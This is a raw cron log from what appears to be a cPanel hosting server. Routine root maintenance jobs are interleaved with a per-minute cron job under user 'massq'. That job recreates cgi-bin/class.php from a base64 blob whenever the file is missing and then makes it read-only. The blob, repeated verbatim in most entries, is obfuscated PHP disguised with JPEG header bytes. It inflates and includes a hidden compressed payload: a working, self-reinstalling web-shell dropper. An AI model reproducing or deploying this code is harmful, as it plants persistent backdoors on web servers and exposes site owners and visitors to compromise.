Sep 12 21:30:01 server CROND[1944]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 21:30:01 server CROND[1948]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:30:01 server CROND[1945]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 21:31:01 server CROND[2838]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 21:31:01 server CROND[2839]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:31:01 server CROND[2840]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:32:01 server CROND[3215]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 21:32:01 server CROND[3216]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:32:01 server CROND[3217]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:33:01 server CROND[3699]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 21:33:01 server CROND[3700]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:33:01 server CROND[3701]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:34:01 server CROND[4098]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:34:01 server CROND[4097]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:34:01 server CROND[4099]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 21:35:02 server CROND[4503]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 12 21:35:02 server CROND[4508]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 21:35:02 server CROND[4511]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 21:35:02 server CROND[4513]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:35:02 server CROND[4509]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 21:35:02 server CROND[4514]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 21:35:02 server CROND[4507]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:35:02 server CROND[4512]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 21:35:02 server CROND[4510]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 21:36:01 server CROND[5361]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 21:36:01 server CROND[5362]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:36:01 server CROND[5363]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:37:01 server CROND[5750]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:37:01 server CROND[5751]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:37:01 server CROND[5752]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 21:38:01 server CROND[6228]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 21:38:01 server CROND[6229]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:38:01 server CROND[6231]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:39:01 server CROND[6605]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 21:39:01 server CROND[6607]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 21:39:01 server CROND[6606]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:39:01 server CROND[6608]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:40:01 server CROND[7010]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 21:40:01 server CROND[7011]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 21:40:01 server CROND[7015]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 21:40:01 server CROND[7018]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:40:01 server CROND[7016]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:40:01 server CROND[7019]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 21:40:01 server CROND[7021]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 21:40:01 server CROND[7017]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 21:41:01 server CROND[7857]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 21:41:01 server CROND[7858]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:41:01 server CROND[7859]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:42:01 server CROND[8249]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
